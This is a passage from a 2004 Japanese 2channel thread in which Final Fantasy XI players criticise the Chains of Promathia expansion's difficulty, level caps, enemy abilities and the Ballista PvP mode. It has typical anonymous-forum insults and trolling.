527 :既にその名前は使われています:04/12/05 11:20:10 ID:5m2tRXwh
フォミュナ水道のタウルス系を視覚感知のみにしてもらえないかねえ。
それならインビジ見破りあっても、少人数で地図取りとかできるんだが。

あとモータルレイもカーズナで70%、聖水で100%治療できてもいと思うが。
カーズナと聖水がシャワーのように降り注いでも運悪いと死ぬってなんだよ。
事前準備を怠らなかった者にくらい優しめの難易度でもいいんじゃないの。

3国プロミは準備まで含めて割と楽しんだクチなんだけど、
水道では廃人志向のひどさにさすがに呆れたよ。

528 :既にその名前は使われています:04/12/05 11:23:32 ID:iqXrW4A9
>>527
モータルレイは避けられるからいいけど100%治癒できないってのと
インスニ見破る敵に持たせるWSじゃないよなー

しかも回避不能な配置だし、もう脳みそ膿んでるとしか思えん

529 :既にその名前は使われています:04/12/05 11:32:36 ID:htF4Bb9w
戦闘で苦戦するのがゲームとして楽しいと思ってる連中だからな。
そう言うのは他の要素も絡めて生きてくるのに、
ソレだけを特化してくるからたまらんな。
あの一途さは性的異常を感じる。

530 :既にその名前は使われています:04/12/05 11:39:20 ID:oI9Fgju7
初期FFチームの大好きな死亡前提ゲームにしていいから、
経験値ロスト無くしてとボス前にホームポイント作れ。


531 :既にその名前は使われています:04/12/05 12:02:59 ID:+h0nOe/S
インスニ見破る敵を実装しる!と声高に言ってた香具師らは
調整能力0の■が動くとこういう状況になるということを想像しなかったのだろうか?

532 :既にその名前は使われています:04/12/05 12:07:46 ID:plR9ctQ3
>>531
多分ここまで想定外な事やるとは思わなかったんじゃないか?

上レス内容だとクズエニの脳が鼻水製造器か
この配置、モンスターの技設定したヤツ
ゲームをプレイしたことがないだろ

533 :既にその名前は使われています:04/12/05 12:17:44 ID:Cx9SQdvZ
発売前のインタビューで
プロミヴォンがミッションで訪れるLV制限エリアとは聞いていたが
まさかプロマミッション全編にわたってLV制限の嵐とは思わなかった

534 :既にその名前は使われています:04/12/05 12:22:57 ID:/50GPahP
つーか、インスニ見破る敵は通路に置くな。広間に置け。


535 :既にその名前は使われています:04/12/05 12:23:11 ID:rEemw2M6
>>533
公式HPで紹介されてるSSがあれですから予想は無理でしょうね。

536 :既にその名前は使われています:04/12/05 12:30:15 ID:ToT48RjH
最初に■を「ガッカリ製造機」と呼んだやつは神だな

537 :既にその名前は使われています:04/12/05 12:57:45 ID:no0nZqrp
制限エリアは、白の地位向上目的だったと思う。
ほとんど白必須に近い。

でも、あのレベル帯にしてはスリップはひどすぎるし、
いやらしい状態異常ばかり。ディスペガもある敵いるしな。
本職白ですら嫌がるほど、状態異常が盛りだくさん。
そして、『毒』『石』なんて言わないと直してくれないスキルが低い臼とはいきたくない。
新規プレイヤーなら、イレースがない白だっているわけだしな。

インスニ見破りと状態回復を頻繁にさせることで、バトルを面白くしましたと言われてもなぁ…

538 :既にその名前は使われています:04/12/05 13:00:50 ID:GbEEQN/R
対抗策もないが相手をその状態に陥らせる手段もない
なんて公平なゲームなんだろう

539 :既にその名前は使われています:04/12/05 13:01:39 ID:79RCCUXV
田中 河本はサラリーマン

ひげ 植松はクリエーター

540 :既にその名前は使われています:04/12/05 13:27:48 ID:ooPTSyvE
初期FFっていうと、FF3ではクリスタルタワーが簡単すぎるということで
セーブポイントを削除したらしいな

長時間プレイできない子供とかのことは考えなかったのだろうか…

541 :既にその名前は使われています:04/12/05 13:52:20 ID:4baGQvXB
脳筋自称くりえいたあは開発を客とのガチンコの勝負だと思ってるからな。
しかも、ねちねち粘着性の罠ばっかりで。

542 :既にその名前は使われています:04/12/05 13:52:49 ID:Qya0DRCM
3はどのダンジョンもセーブポイントないわけだが

543 :既にその名前は使われています:04/12/05 13:55:18 ID:ooPTSyvE
>542
最後のダンジョンだけ、セーブポイントが当初はあったらしい

544 :既にその名前は使われています:04/12/05 13:58:19 ID:DiRcnClD
■が開発のゲームは買わないに越したことないということですな
FF、FM、RSなどなど

545 :既にその名前は使われています:04/12/05 15:05:25 ID:i7YRrJqU
3つながりでマリオ3も全部やるのはえらい時間かかったぞ
ファイミコン時代のソフトに細かいこと求めるなw
FF2なんかラスダン前の洞窟でクアールに遭遇すると終わりだったぞ
大事なものでアイテム欄うまってくアホ仕様だし

546 :既にその名前は使われています:04/12/05 15:52:59 ID:vpvzMbku
>>528
もう一つ凶悪なWSあるな。確か「モウ」だっけ?
範囲物理ダメージ+強力な毒

インスニ見破り
モータルレイ(10カウント死亡、回避可能、ラグ酷いと回避困難)
モウ(空蝉で避けれるが、範囲ダメージ+強力な毒)

何この強さふざけt・・・

547 :既にその名前は使われています:04/12/05 16:07:22 ID:R0zoXLx7
>>545
あの時代はどのゲームのアイテムシステムは似たようなものだった。
逆にだいじなものシステムを考えたヤツを褒めるべき。
今では当たり前だったがだいじなものは画期的だったよ。

548 :既にその名前は使われています:04/12/05 16:08:32 ID:80mEymIf
>>546
モウは子竜がHP全快+スピリン使用しても
一発で殺されるクソ範囲。
喰らった瞬間死亡確定ってカースドよりヒデエヨ
まあ毒は確実に次のパッチで治るだろうからいいけど、
他のディア系スリップも治るのかが…ねえ。

ウルグラン程度の配置だと結構悪く無いけど
水道はマジクソ…

549 :既にその名前は使われています:04/12/05 16:13:06 ID:iqXrW4A9
>>546
そういえばそんなのもあったなー
あれもやばすぎだよねw

インスニ見破る敵はミミズみたいに走って回避可能でかつ
時々地面に潜って居なくなる奴をまばらに配置する程度でよかったよなー

550 :既にその名前は使われています:04/12/05 16:14:37 ID:htF4Bb9w
>>546
あの強さでバランス取れていたと思っていたのかねえ・・・
■は精神異常者の集まり。

551 :既にその名前は使われています:04/12/05 19:10:30 ID:2TdS1qkV
まあ、暗闇の雲とかそんなのばっかりだからな。

ぶっちゃけ、応竜みれば、初代 餓狼のギースも生ぬるい。
あれはとび蹴りでハメ殺せるだけまし。

552 :既にその名前は使われています:04/12/05 19:29:19 ID:yZshHK3I
>>551
近づいて投げるだけで倒せるyp!

553 :既にその名前は使われています:04/12/05 19:35:43 ID:qd7W7baB
懲りずに民族衣装は出るだろうな
当然、装備Lv70前後ジョブ限定の性能で

554 :既にその名前は使われています:04/12/05 19:42:02 ID:lZKJGjz3
白あたりに専用民族衣装の追加してタゲそらしかな。


555 :既にその名前は使われています:04/12/05 19:42:23 ID:C4tkKQFY
民族衣装って言うんだから日常的にやれる相手が素材をもちろんドロップするんだよね?

556 :既にその名前は使われています:04/12/05 19:53:06 ID:87fNaX3/
いや、赤辺りに追加でジョブ間同士の確執を狙ってタゲそらしが濃厚な予感www


557 :既にその名前は使われています:04/12/05 19:54:34 ID:SWZ6oPZ3
赤ナ兼用装備出てギスギスさせそうな気もする。両方腐る程人いるし。

558 :既にその名前は使われています:04/12/05 20:35:33 ID:XBw2Y+9P
何か勘違いして

■<プロミヴォンの難易度を緩和、低レベル参加できるようにレベル20制限にしました。
●<サポ忍で空蝉できねー!難しくなってるじゃねーか!
■<空蝉は想定外なので回避した

559 :既にその名前は使われています:04/12/05 20:38:19 ID:i+yv3OFE
難易度調整はいいから、プロミヴォンをレベル上げで使えるようにしろや・・・


人がいなくて、パーティ組めないずら。
1レベル高い後衛がいるだけで、キツくなるんだからよう。

560 :既にその名前は使われています :04/12/05 20:51:29 ID:BgnyOpRC
プロマシアエリア、休日のこの時間で合計30人いないぜ?wwwwwww

561 :既にその名前は使われています:04/12/05 20:54:21 ID:2TdS1qkV
>>552
ああ、それもあったか。
しかし、そのうちWS当身投げぐらいの暴挙を■eはやりかねないな

562 :既にその名前は使われています:04/12/05 21:00:23 ID:XBw2Y+9P
ワーヒー2みたいに敵が100%投げ返し、飛び道具返しをしてきそうだw

563 :既にその名前は使われています:04/12/05 21:04:41 ID:lZKJGjz3
いわゆる中の人が操作してる?系のwsは当身の前段階じゃないのか?

564 :既にその名前は使われています:04/12/05 22:36:51 ID:oI9Fgju7
確かに初期はセーブポイントが無かった。
ついに3のラスダンで非難の大合唱が巻き起こったわけだな。
で、4からはボス前にセーブポイントが置かれるようになった。
と同時にボスの強さが上がり(つーか癖のある攻撃が増えた)初見ではまず倒せなくなった。
しかしセーブポイントのおかげで特に非難は上がらず、戦術を考えながら倒すという楽しみが増えたわけだな。
5のオメガとか、セーブポイントなかったら有り得ないだろうw

ここで坂口と田中の違いがありありと出てくるんだよな。
坂口はRPGのシナリオは三流だが、癖のあるモンスを作るのが神的に上手かった。
FFだけじゃない。クロノトリガーもそうだ。
セーブポイントが可能にした「初見では敗退必死だが考え尽くせば攻略法がある」ボスにぴったりハマったわけだ。
しかし今の開発チームは難しい=面白いの発想に退化してる。
敵のHPを上げたり、攻撃力の強いWSをつけるだけで、単調な攻略法ばかりだ。


565 :既にその名前は使われています:04/12/05 23:07:41 ID:tTo+/DMi
プロマシアで追加されたあらゆる要素ががっかりだったねw
といいつつ保守

参考までにこのスレって3番目じゃなくて9番目だね

566 :既にその名前は使われています:04/12/05 23:09:24 ID:Kxezih8h
新たなる装備が多数追加されますとか言ってたけど
民族衣装4つ(一部、一般人入手不可)で終わり?


567 :既にその名前は使われています:04/12/05 23:12:43 ID:c5w1ioRA
>>565
詐欺ディスクシリーズと大失敗した理由を考えるシリーズのスレを
前スレとするならば、そのくらい

568 :既にその名前は使われています:04/12/05 23:28:48 ID:XBw2Y+9P
>>563
FF10の頃からそんな感じだね・・・。
無駄にHP多いのと、理不尽な敵ばっかり。

569 :既にその名前は使われています:04/12/05 23:33:38 ID:2TdS1qkV
FF10なんぞ、一本道紙芝居ゲームじゃないか。
飛行艇はただ、エリアを自由に移動できるというだけのものだったっけ。

FF11もさ、もういいから自分とかPTメンなぐらせて武器スキルあがるようにしてくれや。
きっとだれも驚かないから。

570 :既にその名前は使われています:04/12/05 23:45:45 ID:R0zoXLx7
さてそろそろ応竜モンクのPOP時間だな
今日も俺を楽しませてくれよ

571 :既にその名前は使われています:04/12/05 23:52:23 ID:htF4Bb9w
>>565
プロマシア失敗スレ一覧

プロマシア入れて逆にやる気無くなった奴らのスレ 1
プロマシアの呪縛 つまらないよね 1〜3.5
プロマシア反省会 1〜2
プロマシアの何がいけなかったのか 1
プロマシア大失敗の理由を考えるスレ 1〜6
詐欺ディスク・プロマシアは大失敗 1
プロマシアが大失敗である事実を再認スレ 1
低レベル参加不可能ディスク・プロマシアの大失敗 1〜2

スレ消費率約9割

572 :既にその名前は使われています:04/12/06 00:37:29 ID:hzf431Q8
ベンチマーク3も悪質な客引きだよなぁ

あの地域に行くためにどのくらいの時間を浪費するのやら・・・

573 :既にその名前は使われています:04/12/06 00:46:00 ID:ZONcq5qG
いまどき分岐も何も無い、全員が同じ勇者になれるゲーム出されてもねぇ
やっぱりオフゲーで良かったよ。プレイヤーもオフゲ思考だし。
プロマ入れて、LS内といいヴァナの雰囲気といい、益々具合が悪くなった。

574 :既にその名前は使われています:04/12/06 00:55:41 ID:xjXqtH43
ベンチ3はバイソン装備の樽が笛吹いてるしのが悪質

575 :19.pool6.dsltokyo.att.ne.jp:04/12/06 01:17:22 ID:01aUGdrX
セロリ画像く⑀␵␤

576 :既にその名前は使われています:04/12/06 01:28:44 ID:MkBzjic5
いっそのことオフラインモードで遊べるようにすればいいのに。
自キャラとプリッシュやテンゼンがPT組んで、
エンカウントでいつものカニやコウモリがPT組んで襲ってくるの。
BC戦だって何度でもやり直せるし。
ミッションはオフラインで進めて、オンラインではオフラインモードでの
世界観を体験できるようにすれば楽しそう。


577 :既にその名前は使われています:04/12/06 01:42:21 ID:pqaZEhxJ
すべてのミッションをLV30でクリア出来るように設計してあれば、
神ディスクになったのにな。

思いっきりクリアできるジョブに偏りを持たせて、竜で無いとク
リアできないミッションとか、侍で無ければクリアできないBC
とか入れておけば、ジョブを上げるきっかけになってよかったん
だがな。。。

ま、プロミボンのおかげで狩りだけは増えたぞw

578 :既にその名前は使われています:04/12/06 01:44:38 ID:B5HEANzy
テンゼンはサークルブレードの構え ->カニAに10ダメ カニBに10ダメ カニCに10ダメ
576はスリプルを唱えた -> カニBは睡眠中
576は命を大事にの構え。

プリッシュはディアガをとなえた->カニAに1ダメ カニBに1ダメ カニCに1ダメ
576は魔法を使うなの構え。
76はエスケプを唱えた。
カニBの攻撃 ->576に200ダメ
576の詠唱が中断した。
テンゼンは様子をみている。
カニCの攻撃 ->プリッシュに399ダメ。 プリッシュはしんでしまった!
テンゼンは笑っている。
Zaid>>576 PTOK? DRK29 <経験値がほしいです>
576>>Zaid <あなたにあげるものはありません>
Zaid>>576 <そんなひどい> PTOK? DRK29
カニAの攻撃 >> 576に200ダメ >>576はしんでしまった!
テンゼンはにげだした!
Zaid>>576 PTOK?

579 :既にその名前は使われています:04/12/06 01:45:07 ID:ZONcq5qG
>>577
その手法は一番やってはならん手法だってば。

580 :既にその名前は使われています:04/12/06 01:49:03 ID:MkBzjic5
/blist add zaid


581 :既にその名前は使われています:04/12/06 01:50:30 ID:3RYEwTHY
>>577
そんなことを書くと開発さんが本気にしちゃいますよ。

582 :既にその名前は使われています:04/12/06 02:00:13 ID:pqaZEhxJ
>>579,581
でもさ、3国プロミボンてレベル制限低かったから、フレや
LSみんなで行けて楽しくなかった?

本格的なBC始めてのLSメンとかめちゃめちゃ喜んでたしな。
18人でまるで裏のような大集団で移動するなんて事滅多に
体験できないので低レベルのフレもめちゃめちゃ楽しんでた。

ただ、3国終わると段々とレベル制限きつくなって、参加す
るメンバーも段々と減って、話題にもならなくなったけどねw

583 :既にその名前は使われています:04/12/06 02:01:42 ID:m2ruMD9j
社員乙

584 :既にその名前は使われています:04/12/06 02:08:59 ID:A3T8kyG/
>>582
最後の2行を足してもおまいが社員なのはバレバレ

( ゚д゚)、ペッ

585 :既にその名前は使われています:04/12/06 02:18:52 ID:ZONcq5qG
つまり、未だにまったく本質が理解出来てないってことか。
この調子じゃあ、何度パッチ重ねても期待出来そうに無いな。

>>582
何ですか、その的外れな返事は。
>>思いっきりクリアできるジョブに偏りを持たせて、竜で無いとク
>>リアできないミッションとか、侍で無ければクリアできないBC
>>とか入れておけば、ジョブを上げるきっかけになってよかったん
>>だがな。。。
この思考は変だと言っている。

586 :既にその名前は使われています:04/12/06 02:19:51 ID:0H8QOpQn
>>577とちょっと似てるけど、
何かのジョブの人連れて行くと個別のイベントがみれたり
戦いが楽になったりするとかいうのはどうだったんだろうね

587 :既にその名前は使われています:04/12/06 02:25:33 ID:ZONcq5qG
どうせなら>>401>>448辺りを参考にしてくれよ。

588 :既にその名前は使われています:04/12/06 02:26:17 ID:MkBzjic5
>>586
狩人のジョブの人連れて行くと戦いが楽になったりします。


589 :既にその名前は使われています:04/12/06 02:30:54 ID:ZONcq5qG
社員が降臨してるようなので前に書いたの探してきた。

>>284>>318>>325
これも熟読ヨロシク。

590 :既にその名前は使われています:04/12/06 02:35:52 ID:rR03ek6Y
http://game7.2ch.net/test/read.cgi/ogame/1102097785/704
これまたすごいのが別のところにいますよ・・・カキコすんのもうぜぇ

591 :既にその名前は使われています:04/12/06 02:50:11 ID:1+po4H+B
俺の予想道理の糞ディスクだった
買うな買うなと言っていたのに買った奴が多かったのがむかつく

592 :既にその名前は使われています:04/12/06 03:02:19 ID:FitIKLtx
素で思うんだけど
終わってるのはFF11じゃなくてお前らだろw
お前らがFF11を楽しむ状態じゃなくなった
一言で言うと「秋田」ってことwww

593 :既にその名前は使われています:04/12/06 03:04:18 ID:rR03ek6Y
飽きる以前にMMOとしてはオワットル。

運営も内容も要素も。

594 :既にその名前は使われています:04/12/06 03:05:36 ID:2mby1pge
新規で入った連中が続々と辞めてるのは飽きたからなのか・・・
そうだったのか・・・

595 :既にその名前は使われています:04/12/06 03:05:44 ID:ZONcq5qG
社員ならまだしも、とうとう真性>>592まで来てしまったか。
寝よっと。

596 :既にその名前は使われています:04/12/06 03:07:04 ID:3RYEwTHY
>>592
難易度が高すぎたり時間矢お金がかかりすぎるので
「飽きた」というよりも「挫折した」といったところでしょうか。

スクエニさんは長い期間プレイしてもらいたくて
こんな設定にしたのでしょうけれども・・・・

はっきり言って大失敗ですよね・・・・

597 :既にその名前は使われています:04/12/06 03:08:03 ID:FitIKLtx
新規で入ったって
寝言いってんじゃねぇよwww
新規をのフリしたセカンドにきまってんだろ
お前ら終わってるから引退支那^^^^^^

598 :既にその名前は使われています:04/12/06 03:09:06 ID:FitIKLtx
>>596
だから、そう感じる時点で、お前のFF11は終わったんだよwww
引退支那^^^^

599 :既にその名前は使われています:04/12/06 03:09:22 ID:yiGuehR6
NAにさえ糞扱いされて掲示板が荒れている昨今まだこういう脳持ちがいるんだ

600 :既にその名前は使われています:04/12/06 03:11:10 ID:FitIKLtx
>>599
そう思う時点でお前のFF11は終わった(ry
課金停止支那^^^^

601 :既にその名前は使われています:04/12/06 03:14:07 ID:TViuElNJ
別にFFがつまらないことを無理に力説したり、
やってる人間を負け犬呼ばわりしなくたっていいと思うけどな

かくいう俺は引退済だが、まあ時間の無駄だった
ゲーム自体は、惜しくも名作には届かず
ユーザーの消化スピードに開発がおいついてなかったと思う。

602 :既にその名前は使われています:04/12/06 03:16:30 ID:FitIKLtx
>>601
ゲームで時間の無駄って
そりゃあたりまえだろwww
なにかんがえてんだよw

603 :既にその名前は使われています:04/12/06 03:17:34 ID:FitIKLtx
ゲームがお前らの人生で何かの役に立つとでもおもってんのかよwww
教育ソフトでも立ち上げてお役だちゲーでもやってなさいってこったwww

604 :既にその名前は使われています:04/12/06 03:17:43 ID:2mby1pge
ID:FitIKLtx

煽りたいならもう少し早くきてくれよ。
今頃来たって人いねーよ。

俺ももう寝る。

605 :既にその名前は使われています:04/12/06 03:19:30 ID:MkBzjic5
^^


606 :既にその名前は使われています:04/12/06 03:20:23 ID:FitIKLtx
^^w

607 :既にその名前は使われています:04/12/06 03:20:49 ID:5/UCyAjT
同レベルに人いなきゃ時給1000も出せないゲームってなんなんだろうな

608 :既にその名前は使われています:04/12/06 03:25:56 ID:TViuElNJ
>>602
何事も配分だろう
その教育だって、漏れがTOEIC800とれるように頑張った勉強ですら、
実際は600程度でも十分すぎたわけで。
ゲームだって趣味の一つ
ただFFは無駄に時間がかかりすぎる。
ゲームはオフゲー程度にしておくのが無難だよ。
このゲームの廃人は、それこそリアル生活捨てないとならないし

609 :既にその名前は使われています:04/12/06 03:27:59 ID:FitIKLtx
>>608
(プワラ

610 :既にその名前は使われています:04/12/06 03:33:43 ID:3YsW9DMT
>>582
久々に集まったLSメンが、わいわい→へこみぎみになるのが楽しい?
特にBC始めての人なんか「ごめんなさい、ごめんなさい」って感じでしたよ?
負けたときの原因は敵WSの理不尽な連発だったんですが・・・

611 :既にその名前は使われています:04/12/06 04:23:30 ID:XozrTkAz
キャップを設けてる限りいつか皆到達するわけで、その後に展開されるはずのものが何もない
「キャップに到達してからが本当の冒険だ」って言うくせに全く何も実装されてないわけだ
なまじジョブ変更可能システムがあるから、一部のジョブを優遇することによって
再度そのジョブを上げさせようという延命処置
つまりはずっとLV上げだけやっといてね、って事だ
たしかに開発側は楽だろうよ
LV1〜75までは膨大な時間がかかるもプレイする内容は全く変わらない単調作業
LV上がるにつれて大きなイモ虫とか蟹を用意すりゃいいだけだ
LV上げが嫌ならしなくてもいい、ただ何も役に立ちませんよwwww
役に立たないって事はミッションだけじゃなく友達と気楽に遊ぶことすらできない
気の進まないジョブでのマゾ的なLV上げをやるか絆を切り捨てるか
どっちも嫌なら解約しかない
プロミでLV制限という、キャップに達していても遊べる要素を生み出した
しかしそれはジョブ格差を一層鮮明にさせただけの、結局LV上げに目を向かせるだけの
追加ディスクでしかない
■>既存エリアでLV上げしてきてねwww


612 :既にその名前は使われています:04/12/06 04:59:27 ID:8Rmg1hW+
     )     __      r(    ,、_         /ダ つ 刀 こ
  あ (_ , ‐''" ̄    ̄ `''‐、 ゞ, rr〜ヅ´ ミ        ,'.メ  か そ ん 
  あ  /            ヽ フハ    _ ミ        {. だ ん ん な
.  っ  (     i j ///j } ト、} ミ|_.. -'_"-'´\  r'⌒ヽ  { よ じ な 狭
   !!   )  ノ}. j/ノノ〃 jノ jハリ ゙i`'''Tjフ   } ミトー } l    ゃ 風 い 
     (   }ノノ _.’- 'ノノ 冫=}  ,' ,.‐'"    { {い) / ノ_     に 所
Vヽハj⌒    i〃ー_''ニ ,、:: {ニ'”{ ,'        ゞ゙ f クァ ―`‐- 、.._,   で
   l.  f⌒ヽ.{ ”´-'' "    `、 ',〈.、,..        ,.‐'´      `' 、``丶、
    i、 i ⌒>    l!   r, ノ  l  )__.. -ァ   /
    i \((    lj  , ‐--.ィ  !   Y´_   ./   \    \\
     `、  こ、.       {   j  i j   ゙i゙   {     \    \\


613 :キター侍:04/12/06 05:33:20 ID:BraQkIfR
ぷっぷっぷーっぷプロマシア
拡張要素がたっぷりで〜
みんなが楽しめるディスクで〜すって
いうじゃな〜い?

でも、■!全然楽しめませんから!

残念!!!!!!




JP解約NA増加!切り

614 :既にその名前は使われています:04/12/06 05:36:33 ID:ZNkM0CSa
いやNAのが減ってきてるから。日本人は
まだだらだらやってるのが多そうだな。
まじで今残ってる香具師なら何されても
耐えそうだ。

615 :既にその名前は使われています:04/12/06 05:39:30 ID:weKUk7gs
どうやったら日本人気づくんだろうね、この馬鹿さに

・・・引きこもりに将来を約束された仕事を渡せばいいんだ!
そうだ!小泉なんとかしろ!

・・・凄い妄想でした、でもこれも1つの答えで間違いでは無いとか思う俺

616 :既にその名前は使われています:04/12/06 05:41:00 ID:FitIKLtx
>>611
やっと理解できたか
よしキャラ削除だw

617 :キター侍:04/12/06 05:41:38 ID:BraQkIfR
結論は2つ
ぶっちゃっけFFがどうなろうと。
関係ない。

あと、最近面白いスレがないっと

618 :キター侍:04/12/06 05:43:11 ID:BraQkIfR
結局FFでスクエニは儲けでてるし。
なんだかんだでスクエニが勝ち。

ドラクエも発売されたし、そろそろ株売り時っと

619 :既にその名前は使われています:04/12/06 06:48:36 ID:OXIkydrg
>>480
それを読んで、■eのMMORPG「ディプスファンタジア(当時エニックス)」を思い出した。
ある日突然敵が「トランスパワー」という攻撃を使ってきて、それが転生回数依存だと判明。

初心者〜中級者は最大HP1000〜1500に対して200ダメージとかに対して
廃人は最大HP4000に対して8000ダメージとかで廃人死亡。
ボスだけかとタカを括ってたら後から追加されたダンジョンでは雑魚まで使い、
挙句の果てには廃人の唯一の自己主張の場であったPvP城攻めで、
同じ効果を持つアイテム「トランスボム」まで登場。

このゲームFFXIのようにセカンドキャラが作れない、そこで廃人が取った行動は
セカンドアカ、サードアカを作るだった。糞のFFXIと比べてもさらに糞ゲーなのに
月2000円も3000円も払ってるユーザーがいまだ存在するらしい。

620 :既にその名前は使われています:04/12/06 06:58:30 ID:JJ3u/Hjl
>619
よくそれで暴動が起こらなかったな、、、

621 :既にその名前は使われています:04/12/06 07:10:45 ID:t/PKHexV
>>619
パッと見でクソゲーぽいのにそこまでやってるやついるんだな。

622 :既にその名前は使われています:04/12/06 07:29:04 ID:zCDMdrQH
ディスプファンタジアはβやってクソゲーっぽく感じたが
FFの多人数Playみたいな感じでネトゲ初心者なら楽しめるだう内容だと思った。

序盤は宿屋が高いから回復アイテム買えるだけ買ってから死んで回復する素敵なゲーム
ちなみにヤンキーの奴はインターフェイス系統がDFから使いまわされてたりする部分が有って笑えた。

623 :既にその名前は使われています:04/12/06 08:23:32 ID:yW0FFJYt
NA増えてる、スクエニが勝ちってネタのふりして結局願望だったのか

624 :既にその名前は使われています:04/12/06 08:30:07 ID:z424t/iK
ディプスのすごいところは、2chの本スレの意見がそのまま反映されること
ネタで「○○弱すぎ」とかいうと強化された
しかも、■と違って、全部強化でバランス取りに言った

しまいには、初心者のLv100と廃人のLv1が同じくらいのつよさになり、
ラスボス倒すのに、オープニングから2時間しかかからないという不思議MMOになった

大量解約に合い、ヘドロがとった政策がパラメータ的な敵強化「超廃人仕様」ですよ
んで、2chに批判が書かれると方針転換「>>619の廃人死亡仕様」

今に至

625 :既にその名前は使われています:04/12/06 08:35:57 ID:ZvY/d17W
その前例があるから一部弱体厨が必死にスレたてていつまでも弱体叫んでるのかな?

626 :既にその名前は使われています:04/12/06 08:39:01 ID:yW0FFJYt
まぁ実際、昔ネ実の書き込みアイデアが採用された臭いのは事実なんだよな
斜め上だったが
どこぞの攻略雑誌がシタラバそのまま流用してるのと似た感じで

627 :既にその名前は使われています:04/12/06 09:11:57 ID:iqhH+pDq
結論:プレイヤーの要望を素直に取り入れるとろくなことがない。


628 :既にその名前は使われています:04/12/06 09:13:29 ID:BxvCSA4U
>>627
■eが要望を  素  直  に取り入れてくれたことなんてあったっけ?

余計な蛇足付けてくるからみんながっかりするんじゃないの?

629 :既にその名前は使われています:04/12/06 09:16:14 ID:rq0zbUV8
つーか、公式に
■<〇〇が××だったので△△にする為に□□しました。
という風に、設計理由も公にして反論があれば検討するとかすりゃ良かったのにな。

現実には
■<〇〇を□□にしました。
●<
■<議論する場ではないので削除しました^^

630 :既にその名前は使われています:04/12/06 09:21:42 ID:nSMo+i1H
今度の喰い物スタック数変更もクリスマスイベントをハロゥインの時のシステム
システムそのままグラだけ変えて使いまわす為なんじゃ…
で、オレンジ渡せなくなりそうな予感がする…
あとのはバリスタ用に調整してる気がする…

そんなにバリスタさせたいの?なんで?そんなのに力入れるよりも
まだまだする事あるじゃん…


631 :既にその名前は使われています:04/12/06 09:56:14 ID:uog/f0zo
■e<既にジョブバランスは完成してますからw

632 :既にその名前は使われています:04/12/06 10:01:42 ID:DHYEvTsd
>>630
■<PvPが好評でとても嬉しい

って言いたいから。

ていうか、バリスタ開始当初は物珍しさもあって「無制限なら」そこそこ人が集まってた。
(「無制限」ならわざわざ装備揃えなくても良いからね)参加してるのは75の廃プレイヤーばっかりだったが…
ようは、「やることなくて暇だモルァ」って人はバリスタやってたわけだが、もともと底が浅く戦術も糞もない
只の寝かし合いになるため、すぐに飽きられいまじゃ無制限でさえ不成立になる事が多い。

それでも他にやる事がなく、他プレイヤーを殴りたいだけのバリスタ常連みたいのはいるけどね。

大々的に導入した結果がこれじゃ、株主様に顔向けできないってんで、強制的に参加させる為のバリスタ
ポイント導入なんだと思う。

633 :既にその名前は使われています:04/12/06 10:03:47 ID:8s0paCX7
俺のいるLSに、一人だけバリスタ大好きの75ヒュム♂暗黒がいる。
正直引いてる。

634 :既にその名前は使われています:04/12/06 10:07:05 ID:cf9lKl3j
>>630
サンタとトナカイが街を歩いてて、そいつらにプレイヤーがプレゼントを配るという不思議クリスマスになる訳だな?

635 :既にその名前は使われています:04/12/06 10:11:42 ID:sIAPsQFo
>>632
だいぶ前の話だがE3で大々的に宣伝しちゃったから、
ガリスンとかおまPみたいになかったことにはするわけにはいかなかったんジャマイカ?

636 :既にその名前は使われています:04/12/06 10:15:07 ID:h/SJzaa7
バリスタは今やガチガチのしばり、固定戦法、勝手な行動する奴は参加するなだからな

何テコ入れしようが戦法が変わるだけで本質は変わるまい

そういやパリスタを通してこれからどんどんジョブ間のバランスを調整する
とか自信たっぷりな発言していたノストラ君今何やってんだ?

637 :既にその名前は使われています:04/12/06 10:39:41 ID:DHYEvTsd
>>635
そうだね、おまPとかはたいしてお金(予算)かかってなさそうだし
「これでPTの組みにくさが解消されます!」なんて大々的・対外的には広報してない。
広報しようにも元々無理があるけど

よく遊園地に喩えられてるけど
それなりにお金をかけて、新しいアトラクションを設置しました。
最初こそ人が集まりましたが、つまらなさに気が付いたひとは
近寄らなくなってしまい、いつもガラガラになってしましました。

良心的な遊園地なら、アトラクションを撤去して新しいのを入れるか
そのアトラクションを改良するけど、

■eは、アトラクションは面白い筈なので、このアトラクションを
遊ばない人には他のアトラクションには並ばないで下さい。
って言ってるようなもんだし。
(注:↑バリスタポイント貯めないとプレイヤーがなんらかの不利益を被る場合の話)

バリスタポイント貯めてない奴は糞、とかスレが立たない事を祈るよ

638 :既にその名前は使われています:04/12/06 10:58:28 ID:1Tfhkai2
あれですか、クズウェアといういい加減な会社の残党が作る、
儲食糞ディスクを笑って、今度のファビョり具合をヲチするスレはここですか?

639 :既にその名前は使われています:04/12/06 11:48:11 ID:wiMm8Zrz
E3といえばガルカを全部ジャグナーから追い出してしまうという糞対応だったけか?

640 :既にその名前は使われています:04/12/06 12:12:35 ID:rq0zbUV8
>>639
正確には低レベル禿ガルを無差別に。
レベルが少しだけ高かった漏れはログ占有とかいう別件で監獄行き。


641 :既にその名前は使われています:04/12/06 12:24:35 ID:8s0paCX7
あのときの■の必死さには笑ったw

642 :既にその名前は使われています:04/12/06 12:37:53 ID:6jVqC7UE
監獄なんてほんとにあるの?ネタだろ?

643 :既にその名前は使われています:04/12/06 12:38:07 ID:GvO+ZK83
無関係なハゲガル忍が誤爆されて、グレートマクロに説教されてたな。
あの後ちゃんと謝罪したんだろうか、クズウェアは。

644 :既にその名前は使われています:04/12/06 12:46:35 ID:fXZpGr32
移動しろってシステムメッセージあったからログアウトして
30分ほど待ってもういいかな?とログインしたら、
出現5秒ほどで監獄跳んだぞw

メッセージ通りにログアウトしてたのに、何で跳ばされんじゃ!と
理由聞きたくて、GMの「何故ここに飛ばされたか判りますか?」の対応を
待ち続けたのに 2時間以上放置された後に
カメラ操作もキーボード入力も完全ロックされた状態で、SGMの
一方的な今回の措置の説明。 弁解も質問もできない状態で開放。
マジで美観を損ねるための、無差別強制排除だよなw あれは。

645 :既にその名前は使われています:04/12/06 12:47:43 ID:SxKqnigG
>>644
■eに苦情の電話をしろ

646 :既にその名前は使われています:04/12/06 12:48:20 ID:IUWEph8a
まったくもって謝罪などない。

謝罪するだけの知能があれば糞増し亜など作るわけがない

647 :既にその名前は使われています:04/12/06 12:49:43 ID:t/PKHexV
>>642
おはようビームのスクショ見たことないのか?

648 :既にその名前は使われています:04/12/06 12:52:27 ID:yW0FFJYt
あの時期、バリスタ最高!邪魔する以外の目的で集まった奴などいるはずが無い
と信者が元気な時期でしたな
